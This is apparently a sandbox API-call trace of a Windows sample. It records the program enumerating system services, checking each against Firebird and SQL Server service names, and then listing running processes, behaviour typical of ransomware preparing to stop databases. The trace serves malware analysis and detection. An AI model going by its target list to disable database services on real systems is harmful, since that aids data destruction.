	[0056.019] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0056.019] lstrlenW (lpString="BITS") returned 4
	[0056.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0056.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0056.019] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0056.019] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0056.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0056.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0056.020] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0056.020] lstrlenW (lpString="CDPSvc") returned 6
	[0056.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0056.020] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0056.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0056.020] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0056.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0056.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0056.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0056.020] lstrlenW (lpString="CryptSvc") returned 8
	[0056.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0056.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0056.020] lstrlenW (lpString="DcomLaunch") returned 10
	[0056.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0056.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0056.021] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0056.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0056.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0056.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0056.021] lstrlenW (lpString="Dhcp") returned 4
	[0056.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0056.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0056.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0056.021] lstrlenW (lpString="Dnscache") returned 8
	[0056.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0056.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0056.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0056.021] lstrlenW (lpString="DoSvc") returned 5
	[0056.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0056.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0056.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0056.021] lstrlenW (lpString="DPS") returned 3
	[0056.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0056.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0056.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0056.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0056.022] lstrlenW (lpString="DusmSvc") returned 7
	[0056.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0056.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0056.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0056.022] lstrlenW (lpString="EventLog") returned 8
	[0056.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0056.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0056.022] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0056.022] lstrlenW (lpString="EventSystem") returned 11
	[0056.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0056.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0056.022] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0056.022] lstrlenW (lpString="FontCache") returned 9
	[0056.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0056.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0056.022] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0056.022] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0056.022] lstrlenW (lpString="gpsvc") returned 5
	[0056.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0056.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0056.022] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0056.022] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0056.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0056.022] lstrlenW (lpString="iphlpsvc") returned 8
	[0056.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.023] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0056.023] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0056.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0056.023] lstrlenW (lpString="KeyIso") returned 6
	[0056.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0056.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0056.023] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0056.023] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0056.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0056.023] lstrlenW (lpString="LanmanServer") returned 12
	[0056.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.023] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0056.023] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0056.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0056.023] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0056.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.023] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0056.023] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0056.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0056.023] lstrlenW (lpString="lfsvc") returned 5
	[0056.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0056.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0056.023] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0056.023] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0056.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0056.023] lstrlenW (lpString="lmhosts") returned 7
	[0056.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0056.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0056.023] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0056.023] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0056.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0056.024] lstrlenW (lpString="LSM") returned 3
	[0056.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0056.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0056.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0056.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0056.024] lstrlenW (lpString="MapsBroker") returned 10
	[0056.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0056.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0056.024] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0056.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0056.024] lstrlenW (lpString="MpsSvc") returned 6
	[0056.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0056.024] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0056.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0056.024] lstrlenW (lpString="NcbService") returned 10
	[0056.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0056.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0056.024] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0056.024] lstrlenW (lpString="netprofm") returned 8
	[0056.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0056.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0056.024] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0056.024] lstrlenW (lpString="NlaSvc") returned 6
	[0056.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.024] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0056.025] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0056.025] lstrlenW (lpString="nsi") returned 3
	[0056.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0056.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0056.025] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0056.025] lstrlenW (lpString="PcaSvc") returned 6
	[0056.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0056.025] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0056.025] lstrlenW (lpString="PlugPlay") returned 8
	[0056.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0056.025] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0056.025] lstrlenW (lpString="Power") returned 5
	[0056.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0056.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0056.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0056.025] lstrlenW (lpString="ProfSvc") returned 7
	[0056.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0056.025] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0056.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0056.025] lstrlenW (lpString="RpcEptMapper") returned 12
	[0056.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0056.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0056.026] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0056.026] lstrlenW (lpString="RpcSs") returned 5
	[0056.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0056.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0056.026] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0056.026] lstrlenW (lpString="SamSs") returned 5
	[0056.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0056.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0056.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0056.026] lstrlenW (lpString="Schedule") returned 8
	[0056.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0056.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0056.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0056.026] lstrlenW (lpString="SecurityHealthService") returned 21
	[0056.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0056.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0056.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0056.026] lstrlenW (lpString="SENS") returned 4
	[0056.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0056.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0056.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0056.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0056.027] lstrlenW (lpString="ShellHWDetection") returned 16
	[0056.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0056.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0056.027] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0056.027] lstrlenW (lpString="Spooler") returned 7
	[0056.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0056.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0056.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0056.027] lstrlenW (lpString="SSDPSRV") returned 7
	[0056.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0056.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0056.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0056.027] lstrlenW (lpString="StateRepository") returned 15
	[0056.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0056.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0056.027] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0056.027] lstrlenW (lpString="SysMain") returned 7
	[0056.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0056.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0056.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0056.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0056.028] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x767728 | out: hHeap=0x720000) returned 1
	[0056.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0056.123] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0056.123] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0056.124] lstrlenW (lpString="System") returned 6
	[0056.124] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0056.125] lstrlenW (lpString="smss.exe") returned 8
	[0056.125] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0056.125] lstrlenW (lpString="csrss.exe") returned 9
	[0056.125] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0056.126] lstrlenW (lpString="wininit.exe") returned 11
	[0056.126] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0056.127] lstrlenW (lpString="csrss.exe") returned 9
	[0056.127] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0056.127] lstrlenW (lpString="winlogon.exe") returned 12
	[0056.127] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0056.128] lstrlenW (lpString="services.exe") returned 12
	[0056.128] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0056.128] lstrlenW (lpString="lsass.exe") returned 9
	[0056.128] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.129] lstrlenW (lpString="svchost.exe") returned 11
	[0056.129] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0056.130] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0056.130] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0056.130] lstrlenW (lpString="fontdrvhost.exe") returned 15
